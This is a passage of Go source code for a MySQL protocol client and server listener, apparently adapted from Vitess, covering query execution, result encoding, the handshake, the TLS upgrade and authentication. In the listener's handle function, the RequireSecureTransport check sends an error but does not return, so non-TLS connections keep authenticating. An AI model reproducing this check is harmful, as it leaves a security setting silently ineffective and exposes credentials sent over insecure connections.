// ExecuteFetch executes a query and returns the result.
// Returns a SQLError. Depending on the transport used, the error
// returned might be different for the same condition:
//
// 1. if the server closes the connection when no command is in flight:
//
// 1.1 unix: WriteComQuery will fail with a 'broken pipe', and we'll
// return CRServerGone(2006).
//
// 1.2 tcp: WriteComQuery will most likely work, but readComQueryResponse
// will fail, and we'll return CRServerLost(2013).
//
// This is because closing a TCP socket on the server side sends
// a FIN to the client (telling the client the server is done
// writing), but on most platforms doesn't send a RST. So the
// client has no idea it can't write. So it succeeds writing data, which
// *then* triggers the server to send a RST back, received a bit
// later. By then, the client has already started waiting for
// the response, and will just return a CRServerLost(2013).
// So CRServerGone(2006) will almost never be seen with TCP.
//
// 2. if the server closes the connection when a command is in flight,
// readComQueryResponse will fail, and we'll return CRServerLost(2013).
func (c *Conn) ExecuteFetch(query string, maxrows int, wantfields bool) (result *sqltypes.Result, err error) {
result, _, err = c.ExecuteFetchMulti(query, maxrows, wantfields)
return result, err
}
// ExecuteFetchMulti is for fetching multiple results from a multi-statement result.
// It returns an additional 'more' flag. If it is set, you must fetch the additional
// results using ReadQueryResult.
func (c *Conn) ExecuteFetchMulti(query string, maxrows int, wantfields bool) (result *sqltypes.Result, more bool, err error) {
defer func() {
if err != nil {
if sqlerr, ok := err.(*SQLError); ok {
sqlerr.Query = query
}
}
}()
// Send the query as a COM_QUERY packet.
if err = c.WriteComQuery(query); err != nil {
return nil, false, err
}
res, more, _, err := c.ReadQueryResult(maxrows, wantfields)
return res, more, err
}
// ExecuteFetchWithWarningCount is for fetching results and a warning count
// Note: In a future iteration this should be abolished and merged into the
// ExecuteFetch API.
func (c *Conn) ExecuteFetchWithWarningCount(query string, maxrows int, wantfields bool) (result *sqltypes.Result, warnings uint16, err error) {
defer func() {
if err != nil {
if sqlerr, ok := err.(*SQLError); ok {
sqlerr.Query = query
}
}
}()
// Send the query as a COM_QUERY packet.
if err = c.WriteComQuery(query); err != nil {
return nil, 0, err
}
res, _, warnings, err := c.ReadQueryResult(maxrows, wantfields)
return res, warnings, err
}
// ReadQueryResult gets the result from the last written query.
func (c *Conn) ReadQueryResult(maxrows int, wantfields bool) (result *sqltypes.Result, more bool, warnings uint16, err error) {
// Get the result.
affectedRows, lastInsertID, colNumber, more, warnings, err := c.readComQueryResponse()
if err != nil {
return nil, false, 0, err
}
if colNumber == 0 {
// OK packet, means no results. Just use the numbers.
return &sqltypes.Result{
RowsAffected: affectedRows,
InsertID: lastInsertID,
}, more, warnings, nil
}
fields := make([]querypb.Field, colNumber)
result = &sqltypes.Result{
Fields: make([]*querypb.Field, colNumber),
}
// Read column headers. One packet per column.
// Build the fields.
for i := 0; i < colNumber; i++ {
result.Fields[i] = &fields[i]
if wantfields {
if err := c.readColumnDefinition(result.Fields[i], i); err != nil {
return nil, false, 0, err
}
} else {
if err := c.readColumnDefinitionType(result.Fields[i], i); err != nil {
return nil, false, 0, err
}
}
}
if c.Capabilities&CapabilityClientDeprecateEOF == 0 {
// EOF is only present here if it's not deprecated.
data, err := c.readEphemeralPacket()
if err != nil {
return nil, false, 0, NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
}
if isEOFPacket(data) {
// This is what we expect.
// Warnings and status flags are ignored.
c.RecycleReadPacket()
// goto: read row loop
} else if isErrorPacket(data) {
defer c.RecycleReadPacket()
return nil, false, 0, ParseErrorPacket(data)
} else {
defer c.RecycleReadPacket()
return nil, false, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "unexpected packet after fields: %v", data)
}
}
// read each row until EOF or OK packet.
for {
data, err := c.ReadPacket()
if err != nil {
return nil, false, 0, err
}
if isEOFPacket(data) {
// Strip the partial Fields before returning.
if !wantfields {
result.Fields = nil
}
result.RowsAffected = uint64(len(result.Rows))
// The deprecated EOF packets change means that this is either an
// EOF packet or an OK packet with the EOF type code.
if c.Capabilities&CapabilityClientDeprecateEOF == 0 {
warnings, more, err = parseEOFPacket(data)
if err != nil {
return nil, false, 0, err
}
} else {
var statusFlags uint16
_, _, statusFlags, warnings, err = parseOKPacket(data)
if err != nil {
return nil, false, 0, err
}
more = (statusFlags & ServerMoreResultsExists) != 0
}
return result, more, warnings, nil
} else if isErrorPacket(data) {
// Error packet.
return nil, false, 0, ParseErrorPacket(data)
}
// Check we're not over the limit before we add more.
if len(result.Rows) == maxrows {
if err := c.drainResults(); err != nil {
return nil, false, 0, err
}
return nil, false, 0, NewSQLError(ERVitessMaxRowsExceeded, SSUnknownSQLState, "Row count exceeded %d", maxrows)
}
// Regular row.
row, err := c.parseRow(data, result.Fields)
if err != nil {
return nil, false, 0, err
}
result.Rows = append(result.Rows, row)
}
}
// drainResults will read all packets for a result set and ignore them.
func (c *Conn) drainResults() error {
for {
data, err := c.readEphemeralPacket()
if err != nil {
return NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
}
if isEOFPacket(data) {
c.RecycleReadPacket()
return nil
} else if isErrorPacket(data) {
defer c.RecycleReadPacket()
return ParseErrorPacket(data)
}
c.RecycleReadPacket()
}
}
func (c *Conn) readComQueryResponse() (affectedRows uint64, lastInsertID uint64, status int, more bool, warnings uint16, err error) {
data, err := c.readEphemeralPacket()
if err != nil {
return 0, 0, 0, false, 0, NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
}
defer c.RecycleReadPacket()
if len(data) == 0 {
return 0, 0, 0, false, 0, NewSQLError(CRMalformedPacket, SSUnknownSQLState, "invalid empty COM_QUERY response packet")
}
switch data[0] {
case OKPacket:
affectedRows, lastInsertID, status, warnings, err := parseOKPacket(data)
return affectedRows, lastInsertID, 0, (status & ServerMoreResultsExists) != 0, warnings, err
case ErrPacket:
// Error
return 0, 0, 0, false, 0, ParseErrorPacket(data)
case 0xfb:
// Local infile
return 0, 0, 0, false, 0, vterrors.Errorf(vtrpc.Code_UNIMPLEMENTED, "not implemented")
}
n, pos, ok := readLenEncInt(data, 0)
if !ok {
return 0, 0, 0, false, 0, NewSQLError(CRMalformedPacket, SSUnknownSQLState, "cannot get column number")
}
if pos != len(data) {
return 0, 0, 0, false, 0, NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extra data in COM_QUERY response")
}
return 0, 0, int(n), false, 0, nil
}
//
// Server side methods.
//
func (c *Conn) parseComQuery(data []byte) string {
return string(data[1:])
}
func (c *Conn) parseComSetOption(data []byte) (uint16, bool) {
val, _, ok := readUint16(data, 1)
return val, ok
}
func (c *Conn) parseComInitDB(data []byte) string {
return string(data[1:])
}
func (c *Conn) sendColumnCount(count uint64) error {
length := lenEncIntSize(count)
data := c.startEphemeralPacket(length)
writeLenEncInt(data, 0, count)
return c.writeEphemeralPacket()
}
func (c *Conn) writeColumnDefinition(field *querypb.Field) error {
length := 4 + // lenEncStringSize("def")
lenEncStringSize(field.Database) +
lenEncStringSize(field.Table) +
lenEncStringSize(field.OrgTable) +
lenEncStringSize(field.Name) +
lenEncStringSize(field.OrgName) +
1 + // length of fixed length fields
2 + // character set
4 + // column length
1 + // type
2 + // flags
1 + // decimals
2 // filler
// Get the type and the flags back. If the Field contains
// non-zero flags, we use them. Otherwise use the flags we
// derive from the type.
typ, flags := sqltypes.TypeToMySQL(field.Type)
if field.Flags != 0 {
flags = int64(field.Flags)
}
data := c.startEphemeralPacket(length)
pos := 0
pos = writeLenEncString(data, pos, "def") // Always the same.
pos = writeLenEncString(data, pos, field.Database)
pos = writeLenEncString(data, pos, field.Table)
pos = writeLenEncString(data, pos, field.OrgTable)
pos = writeLenEncString(data, pos, field.Name)
pos = writeLenEncString(data, pos, field.OrgName)
pos = writeByte(data, pos, 0x0c)
pos = writeUint16(data, pos, uint16(field.Charset))
pos = writeUint32(data, pos, field.ColumnLength)
pos = writeByte(data, pos, byte(typ))
pos = writeUint16(data, pos, uint16(flags))
pos = writeByte(data, pos, byte(field.Decimals))
pos = writeUint16(data, pos, uint16(0x0000))
if pos != len(data) {
return vterrors.Errorf(vtrpc.Code_INTERNAL, "packing of column definition used %v bytes instead of %v", pos, len(data))
}
return c.writeEphemeralPacket()
}
func (c *Conn) writeRow(row []sqltypes.Value) error {
length := 0
for _, val := range row {
if val.IsNull() {
length++
} else {
l := len(val.Raw())
length += lenEncIntSize(uint64(l)) + l
}
}
data := c.startEphemeralPacket(length)
pos := 0
for _, val := range row {
if val.IsNull() {
pos = writeByte(data, pos, NullValue)
} else {
l := len(val.Raw())
pos = writeLenEncInt(data, pos, uint64(l))
pos += copy(data[pos:], val.Raw())
}
}
if pos != length {
return vterrors.Errorf(vtrpc.Code_INTERNAL, "packet row: got %v bytes but expected %v", pos, length)
}
return c.writeEphemeralPacket()
}
// writeFields writes the fields of a Result. It should be called only
// if there are valid columns in the result.
func (c *Conn) writeFields(result *sqltypes.Result) error {
// Send the number of fields first.
if err := c.sendColumnCount(uint64(len(result.Fields))); err != nil {
return err
}
// Now send each Field.
for _, field := range result.Fields {
if err := c.writeColumnDefinition(field); err != nil {
return err
}
}
// Now send an EOF packet.
if c.Capabilities&CapabilityClientDeprecateEOF == 0 {
// With CapabilityClientDeprecateEOF, we do not send this EOF.
if err := c.writeEOFPacket(c.StatusFlags, 0); err != nil {
return err
}
}
return nil
}
// writeRows sends the rows of a Result.
func (c *Conn) writeRows(result *sqltypes.Result) error {
for _, row := range result.Rows {
if err := c.writeRow(row); err != nil {
return err
}
}
return nil
}
// writeEndResult concludes the sending of a Result.
// if more is set to true, then it means there are more results afterwords
func (c *Conn) writeEndResult(more bool, affectedRows, lastInsertID uint64, warnings uint16) error {
// Send either an EOF, or an OK packet.
// See doc.go.
flags := c.StatusFlags
if more {
flags |= ServerMoreResultsExists
}
if c.Capabilities&CapabilityClientDeprecateEOF == 0 {
if err := c.writeEOFPacket(flags, warnings); err != nil {
return err
}
} else {
// This will flush too.
if err := c.writeOKPacketWithEOFHeader(affectedRows, lastInsertID, flags, warnings); err != nil {
return err
}
}
return nil
}
+784
View File
@@ -0,0 +1,784 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"crypto/tls"
"io"
"net"
"strings"
"time"
log "unknwon.dev/clog/v2"
"vitess.io/vitess/go/netutil"
"vitess.io/vitess/go/sqltypes"
"vitess.io/vitess/go/stats"
"vitess.io/vitess/go/sync2"
"vitess.io/vitess/go/tb"
"vitess.io/vitess/go/vt/proto/vtrpc"
"vitess.io/vitess/go/vt/vterrors"
)
const (
// timing metric keys
connectTimingKey = "Connect"
queryTimingKey = "Query"
versionSSL30 = "SSL30"
versionTLS10 = "TLS10"
versionTLS11 = "TLS11"
versionTLS12 = "TLS12"
versionTLSUnknown = "UnknownTLSVersion"
versionNoTLS = "None"
)
var (
// Metrics
timings = stats.NewTimings("MysqlServerTimings", "MySQL server timings", "operation")
connCount = stats.NewGauge("MysqlServerConnCount", "Active MySQL server connections")
connAccept = stats.NewCounter("MysqlServerConnAccepted", "Connections accepted by MySQL server")
connSlow = stats.NewCounter("MysqlServerConnSlow", "Connections that took more than the configured mysql_slow_connect_warn_threshold to establish")
connCountByTLSVer = stats.NewGaugesWithSingleLabel("MysqlServerConnCountByTLSVer", "Active MySQL server connections by TLS version", "tls")
connCountPerUser = stats.NewGaugesWithSingleLabel("MysqlServerConnCountPerUser", "Active MySQL server connections per user", "count")
_ = stats.NewGaugeFunc("MysqlServerConnCountUnauthenticated", "Active MySQL server connections that haven't authenticated yet", func() int64 {
totalUsers := int64(0)
for _, v := range connCountPerUser.Counts() {
totalUsers += v
}
return connCount.Get() - totalUsers
})
)
// A Handler is an interface used by Listener to send queries.
// The implementation of this interface may store data in the ClientData
// field of the Connection for its own purposes.
//
// For a given Connection, all these methods are serialized. It means
// only one of these methods will be called concurrently for a given
// Connection. So access to the Connection ClientData does not need to
// be protected by a mutex.
//
// However, each connection is using one go routine, so multiple
// Connection objects can call these concurrently, for different Connections.
type Handler interface {
// NewConnection is called when a connection is created.
// It is not established yet. The handler can decide to
// set StatusFlags that will be returned by the handshake methods.
// In particular, ServerStatusAutocommit might be set.
NewConnection(c *Conn)
// ConnectionClosed is called when a connection is closed.
ConnectionClosed(c *Conn)
// ComQuery is called when a connection receives a query.
// Note the contents of the query slice may change after
// the first call to callback. So the Handler should not
// hang on to the byte slice.
ComQuery(c *Conn, query string, callback func(*sqltypes.Result) error) error
// WarningCount is called at the end of each query to obtain
// the value to be returned to the client in the EOF packet.
// Note that this will be called either in the context of the
// ComQuery callback if the result does not contain any fields,
// or after the last ComQuery call completes.
WarningCount(c *Conn) uint16
}
// Listener is the MySQL server protocol listener.
type Listener struct {
// Construction parameters, set by NewListener.
// authServer is the AuthServer object to use for authentication.
authServer AuthServer
// handler is the data handler.
handler Handler
// This is the main listener socket.
listener net.Listener
// The following parameters are read by multiple connection go
// routines. They are not protected by a mutex, so they
// should be set after NewListener, and not changed while
// Accept is running.
// ServerVersion is the version we will advertise.
ServerVersion string
// TLSConfig is the server TLS config. If set, we will advertise
// that we support SSL.
TLSConfig *tls.Config
// AllowClearTextWithoutTLS needs to be set for the
// mysql_clear_password authentication method to be accepted
// by the server when TLS is not in use.
AllowClearTextWithoutTLS bool
// SlowConnectWarnThreshold if non-zero specifies an amount of time
// beyond which a warning is logged to identify the slow connection
SlowConnectWarnThreshold time.Duration
// The following parameters are changed by the Accept routine.
// Incrementing ID for connection id.
connectionID uint32
// Read timeout on a given connection
connReadTimeout time.Duration
// Write timeout on a given connection
connWriteTimeout time.Duration
// connReadBufferSize is size of buffer for reads from underlying connection.
// Reads are unbuffered if it's <=0.
connReadBufferSize int
// shutdown indicates that Shutdown method was called.
shutdown sync2.AtomicBool
// RequireSecureTransport configures the server to reject connections from insecure clients
RequireSecureTransport bool
}
// NewFromListener creares a new mysql listener from an existing net.Listener
func NewFromListener(l net.Listener, authServer AuthServer, handler Handler, versionString string, connReadTimeout time.Duration, connWriteTimeout time.Duration) (*Listener, error) {
cfg := ListenerConfig{
Listener: l,
AuthServer: authServer,
VersionString: versionString,
Handler: handler,
ConnReadTimeout: connReadTimeout,
ConnWriteTimeout: connWriteTimeout,
ConnReadBufferSize: connBufferSize,
}
return NewListenerWithConfig(cfg)
}
// NewListener creates a new Listener.
func NewListener(protocol, address string, authServer AuthServer, handler Handler, versionString string, connReadTimeout time.Duration, connWriteTimeout time.Duration) (*Listener, error) {
listener, err := net.Listen(protocol, address)
if err != nil {
return nil, err
}
return NewFromListener(listener, authServer, handler, versionString, connReadTimeout, connWriteTimeout)
}
// ListenerConfig should be used with NewListenerWithConfig to specify listener parameters.
type ListenerConfig struct {
// Protocol-Address pair and Listener are mutually exclusive parameters
Protocol string
Address string
VersionString string
Listener net.Listener
AuthServer AuthServer
Handler Handler
ConnReadTimeout time.Duration
ConnWriteTimeout time.Duration
ConnReadBufferSize int
}
// NewListenerWithConfig creates new listener using provided config. There are
// no default values for config, so caller should ensure its correctness.
func NewListenerWithConfig(cfg ListenerConfig) (*Listener, error) {
var l net.Listener
if cfg.Listener != nil {
l = cfg.Listener
} else {
listener, err := net.Listen(cfg.Protocol, cfg.Address)
if err != nil {
return nil, err
}
l = listener
}
return &Listener{
authServer: cfg.AuthServer,
handler: cfg.Handler,
listener: l,
ServerVersion: cfg.VersionString,
connectionID: 1,
connReadTimeout: cfg.ConnReadTimeout,
connWriteTimeout: cfg.ConnWriteTimeout,
connReadBufferSize: cfg.ConnReadBufferSize,
}, nil
}
// Addr returns the listener address.
func (l *Listener) Addr() net.Addr {
return l.listener.Addr()
}
// Accept runs an accept loop until the listener is closed.
func (l *Listener) Accept() {
for {
conn, err := l.listener.Accept()
if err != nil {
// Close() was probably called.
return
}
acceptTime := time.Now()
connectionID := l.connectionID
l.connectionID++
connCount.Add(1)
connAccept.Add(1)
go l.handle(conn, connectionID, acceptTime)
}
}
// handle is called in a go routine for each client connection.
// FIXME(alainjobart) handle per-connection logs in a way that makes sense.
func (l *Listener) handle(conn net.Conn, connectionID uint32, acceptTime time.Time) {
if l.connReadTimeout != 0 || l.connWriteTimeout != 0 {
conn = netutil.NewConnWithTimeouts(conn, l.connReadTimeout, l.connWriteTimeout)
}
c := newServerConn(conn, l)
c.ConnectionID = connectionID
// Catch panics, and close the connection in any case.
defer func() {
if x := recover(); x != nil {
log.Error("mysql_server caught panic:\n%v\n%s", x, tb.Stack(4))
}
// We call flush here in case there's a premature return after
// startWriterBuffering is called
c.flush()
conn.Close()
}()
// Adjust the count of open connections
defer connCount.Add(-1)
// First build and send the server handshake packet.
salt, err := c.writeHandshakeV10(l.ServerVersion, l.authServer, l.TLSConfig != nil)
if err != nil {
if err != io.EOF {
log.Error("Cannot send HandshakeV10 packet to %s: %v", c, err)
}
return
}
// Wait for the client response. This has to be a direct read,
// so we don't buffer the TLS negotiation packets.
response, err := c.readEphemeralPacketDirect()
if err != nil {
// Don't log EOF errors. They cause too much spam, same as main read loop.
if err != io.EOF {
log.Error("Cannot read client handshake response from %s: %v", c, err)
}
return
}
user, authMethod, authResponse, err := l.parseClientHandshakePacket(c, true, response)
if err != nil {
log.Error("Cannot parse client handshake response from %s: %v", c, err)
return
}
c.User = user
// Tell the handler about the connection coming and going.
l.handler.NewConnection(c)
defer l.handler.ConnectionClosed(c)
if c.Capabilities&CapabilityClientSSL > 0 {
// SSL was enabled. We need to re-read the auth packet.
response, err = c.readEphemeralPacket()
if err != nil {
log.Error("Cannot read post-SSL client handshake response from %s: %v", c, err)
return
}
// Returns copies of the data, so we can recycle the buffer.
user, authMethod, authResponse, err = l.parseClientHandshakePacket(c, false, response)
if err != nil {
log.Error("Cannot parse post-SSL client handshake response from %s: %v", c, err)
return
}
c.RecycleReadPacket()
if con, ok := c.conn.(*tls.Conn); ok {
connState := con.ConnectionState()
tlsVerStr := tlsVersionToString(connState.Version)
if tlsVerStr != "" {
connCountByTLSVer.Add(tlsVerStr, 1)
defer connCountByTLSVer.Add(tlsVerStr, -1)
}
}
} else {
if l.RequireSecureTransport {
c.writeErrorPacketFromError(vterrors.Errorf(vtrpc.Code_UNAVAILABLE, "server does not allow insecure connections, client must use SSL/TLS"))
}
connCountByTLSVer.Add(versionNoTLS, 1)
defer connCountByTLSVer.Add(versionNoTLS, -1)
}
// See what auth method the AuthServer wants to use for that user.
authServerMethod, err := l.authServer.AuthMethod(user)
if err != nil {
c.writeErrorPacketFromError(err)
return
}
// Compare with what the client sent back.
switch {
case authServerMethod == MysqlNativePassword && authMethod == MysqlNativePassword:
// Both server and client want to use MysqlNativePassword:
// the negotiation can be completed right away, using the
// ValidateHash() method.
userData, err := l.authServer.ValidateHash(salt, user, authResponse, conn.RemoteAddr())
if err != nil {
log.Trace("Error authenticating user using MySQL native password: %v", err)
c.writeErrorPacketFromError(err)
return
}
c.User = user
c.UserData = userData
case authServerMethod == MysqlNativePassword:
// The server really wants to use MysqlNativePassword,
// but the client returned a result for something else.
salt, err := l.authServer.Salt()
if err != nil {
return
}
//lint:ignore SA4006 This line is required because the binary protocol requires padding with 0
data := make([]byte, 21)
data = append(salt, byte(0x00))
if err := c.writeAuthSwitchRequest(MysqlNativePassword, data); err != nil {
log.Error("Error writing auth switch packet for %s: %v", c, err)
return
}
response, err := c.readEphemeralPacket()
if err != nil {
log.Error("Error reading auth switch response for %s: %v", c, err)
return
}
c.RecycleReadPacket()
userData, err := l.authServer.ValidateHash(salt, user, response, conn.RemoteAddr())
if err != nil {
log.Trace("Error authenticating user using MySQL native password: %v", err)
c.writeErrorPacketFromError(err)
return
}
c.User = user
c.UserData = userData
default:
// The server wants to use something else, re-negotiate.
// The negotiation happens in clear text. Let's check we can.
if !l.AllowClearTextWithoutTLS && c.Capabilities&CapabilityClientSSL == 0 {
c.writeErrorPacket(CRServerHandshakeErr, SSUnknownSQLState, "Cannot use clear text authentication over non-SSL connections.")
return
}
// Switch our auth method to what the server wants.
// Dialog plugin expects an AskPassword prompt.
var data []byte
if authServerMethod == MysqlDialog {
data = authServerDialogSwitchData()
}
if err := c.writeAuthSwitchRequest(authServerMethod, data); err != nil {
log.Error("Error writing auth switch packet for %s: %v", c, err)
return
}
// Then hand over the rest of the negotiation to the
// auth server.
userData, err := l.authServer.Negotiate(c, user, conn.RemoteAddr())
if err != nil {
c.writeErrorPacketFromError(err)
return
}
c.User = user
c.UserData = userData
}
if c.User != "" {
connCountPerUser.Add(c.User, 1)
defer connCountPerUser.Add(c.User, -1)
}
// Negotiation worked, send OK packet.
if err := c.writeOKPacket(0, 0, c.StatusFlags, 0); err != nil {
log.Error("Cannot write OK packet to %s: %v", c, err)
return
}
// Record how long we took to establish the connection
timings.Record(connectTimingKey, acceptTime)
// Log a warning if it took too long to connect
connectTime := time.Since(acceptTime)
if l.SlowConnectWarnThreshold != 0 && connectTime > l.SlowConnectWarnThreshold {
connSlow.Add(1)
log.Warn("Slow connection from %s: %v", c, connectTime)
}
for {
err := c.handleNextCommand(l.handler)
if err != nil {
return
}
}
}
// Close stops the listener, which prevents accept of any new connections. Existing connections won't be closed.
func (l *Listener) Close() {
l.listener.Close()
}
// Shutdown closes listener and fails any Ping requests from existing connections.
// This can be used for graceful shutdown, to let clients know that they should reconnect to another server.
func (l *Listener) Shutdown() {
if l.shutdown.CompareAndSwap(false, true) {
l.Close()
}
}
func (l *Listener) isShutdown() bool {
return l.shutdown.Get()
}
// writeHandshakeV10 writes the Initial Handshake Packet, server side.
// It returns the salt data.
func (c *Conn) writeHandshakeV10(serverVersion string, authServer AuthServer, enableTLS bool) ([]byte, error) {
capabilities := CapabilityClientLongPassword |
CapabilityClientLongFlag |
CapabilityClientConnectWithDB |
CapabilityClientProtocol41 |
CapabilityClientTransactions |
CapabilityClientSecureConnection |
CapabilityClientMultiStatements |
CapabilityClientMultiResults |
CapabilityClientPluginAuth |
CapabilityClientPluginAuthLenencClientData |
CapabilityClientDeprecateEOF |
CapabilityClientConnAttr
if enableTLS {
capabilities |= CapabilityClientSSL
}
length :=
1 + // protocol version
lenNullString(serverVersion) +
4 + // connection ID
8 + // first part of salt data
1 + // filler byte
2 + // capability flags (lower 2 bytes)
1 + // character set
2 + // status flag
2 + // capability flags (upper 2 bytes)
1 + // length of auth plugin data
10 + // reserved (0)
13 + // auth-plugin-data
lenNullString(MysqlNativePassword) // auth-plugin-name
data := c.startEphemeralPacket(length)
pos := 0
// Protocol version.
pos = writeByte(data, pos, protocolVersion)
// Copy server version.
pos = writeNullString(data, pos, serverVersion)
// Add connectionID in.
pos = writeUint32(data, pos, c.ConnectionID)
// Generate the salt, put 8 bytes in.
salt, err := authServer.Salt()
if err != nil {
return nil, err
}
pos += copy(data[pos:], salt[:8])
// One filler byte, always 0.
pos = writeByte(data, pos, 0)
// Lower part of the capability flags.
pos = writeUint16(data, pos, uint16(capabilities))
// Character set.
pos = writeByte(data, pos, CharacterSetUtf8)
// Status flag.
pos = writeUint16(data, pos, c.StatusFlags)
// Upper part of the capability flags.
pos = writeUint16(data, pos, uint16(capabilities>>16))
// Length of auth plugin data.
// Always 21 (8 + 13).
pos = writeByte(data, pos, 21)
// Reserved 10 bytes: all 0
pos = writeZeroes(data, pos, 10)
// Second part of auth plugin data.
pos += copy(data[pos:], salt[8:])
data[pos] = 0
pos++
// Copy authPluginName. We always start with mysql_native_password.
pos = writeNullString(data, pos, MysqlNativePassword)
// Sanity check.
if pos != len(data) {
return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "error building Handshake packet: got %v bytes expected %v", pos, len(data))
}
if err := c.writeEphemeralPacket(); err != nil {
if strings.HasSuffix(err.Error(), "write: connection reset by peer") {
return nil, io.EOF
}
if strings.HasSuffix(err.Error(), "write: broken pipe") {
return nil, io.EOF
}
return nil, err
}
return salt, nil
}
// parseClientHandshakePacket parses the handshake sent by the client.
// Returns the username, auth method, auth data, error.
// The original data is not pointed at, and can be freed.
func (l *Listener) parseClientHandshakePacket(c *Conn, firstTime bool, data []byte) (string, string, []byte, error) {
pos := 0
// Client flags, 4 bytes.
clientFlags, pos, ok := readUint32(data, pos)
if clientFlags&CapabilityClientLoadDataLocal == 0 {
c.SupportLoadDataLocal = false
} else {
c.SupportLoadDataLocal = true
}
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read client flags")
}
if clientFlags&CapabilityClientProtocol41 == 0 {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: only support protocol 4.1")
}
// Remember a subset of the capabilities, so we can use them
// later in the protocol. If we re-received the handshake packet
// after SSL negotiation, do not overwrite capabilities.
if firstTime {
c.Capabilities = clientFlags & (CapabilityClientDeprecateEOF | CapabilityClientFoundRows)
}
// set connection capability for executing multi statements
if clientFlags&CapabilityClientMultiStatements > 0 {
c.Capabilities |= CapabilityClientMultiStatements
}
// Max packet size. Don't do anything with this now.
// See doc.go for more information.
_, pos, ok = readUint32(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read maxPacketSize")
}
// Character set. Need to handle it.
characterSet, pos, ok := readByte(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read characterSet")
}
c.CharacterSet = characterSet
// 23x reserved zero bytes.
pos += 23
// Check for SSL.
if firstTime && l.TLSConfig != nil && clientFlags&CapabilityClientSSL > 0 {
// Need to switch to TLS, and then re-read the packet.
conn := tls.Server(c.conn, l.TLSConfig)
c.conn = conn
c.bufferedReader.Reset(conn)
c.Capabilities |= CapabilityClientSSL
return "", "", nil, nil
}
// username
username, pos, ok := readNullString(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read username")
}
// auth-response can have three forms.
var authResponse []byte
if clientFlags&CapabilityClientPluginAuthLenencClientData != 0 {
var l uint64
l, pos, ok = readLenEncInt(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read auth-response variable length")
}
authResponse, pos, ok = readBytesCopy(data, pos, int(l))
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read auth-response")
}
} else if clientFlags&CapabilityClientSecureConnection != 0 {
var l byte
l, pos, ok = readByte(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read auth-response length")
}
authResponse, pos, ok = readBytesCopy(data, pos, int(l))
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read auth-response")
}
} else {
a := ""
a, pos, ok = readNullString(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read auth-response")
}
authResponse = []byte(a)
}
// db name.
if clientFlags&CapabilityClientConnectWithDB != 0 {
dbname := ""
dbname, pos, ok = readNullString(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read dbname")
}
c.SchemaName = dbname
}
// authMethod (with default)
authMethod := MysqlNativePassword
if clientFlags&CapabilityClientPluginAuth != 0 {
authMethod, pos, ok = readNullString(data, pos)
if !ok {
return "", "", nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read authMethod")
}
}
// The JDBC driver sometimes sends an empty string as the auth method when it wants to use mysql_native_password
if authMethod == "" {
authMethod = MysqlNativePassword
}
// Decode connection attributes send by the client
if clientFlags&CapabilityClientConnAttr != 0 {
if connAttrs, _, err := parseConnAttrs(data, pos); err != nil {
log.Warn("Decode connection attributes send by the client: %v", err)
} else {
c.ConnAttrs = connAttrs
}
}
return username, authMethod, authResponse, nil
}
func parseConnAttrs(data []byte, pos int) (map[string]string, int, error) {
var attrLen uint64
attrLen, pos, ok := readLenEncInt(data, pos)
if !ok {
return nil, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read connection attributes variable length")
}
var attrLenRead uint64
attrs := make(map[string]string)
for attrLenRead < attrLen {
var keyLen byte
keyLen, pos, ok = readByte(data, pos)
if !ok {
return nil, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read connection attribute key length")
}
attrLenRead += uint64(keyLen) + 1
var connAttrKey []byte
connAttrKey, pos, ok = readBytesCopy(data, pos, int(keyLen))
if !ok {
return nil, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read connection attribute key")
}
var valLen byte
valLen, pos, ok = readByte(data, pos)
if !ok {
return nil, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read connection attribute value length")
}
attrLenRead += uint64(valLen) + 1
var connAttrVal []byte
connAttrVal, pos, ok = readBytesCopy(data, pos, int(valLen))
if !ok {
return nil, 0, vterrors.Errorf(vtrpc.Code_INTERNAL, "parseClientHandshakePacket: can't read connection attribute value")
}
attrs[string(connAttrKey[:])] = string(connAttrVal[:])
}
return attrs, pos, nil
}
// writeAuthSwitchRequest writes an auth switch request packet.
func (c *Conn) writeAuthSwitchRequest(pluginName string, pluginData []byte) error {
length := 1 + // AuthSwitchRequestPacket
len(pluginName) + 1 + // 0-terminated pluginName
len(pluginData)
data := c.startEphemeralPacket(length)
pos := 0
// Packet header.
pos = writeByte(data, pos, AuthSwitchRequestPacket)
// Copy server version.
pos = writeNullString(data, pos, pluginName)
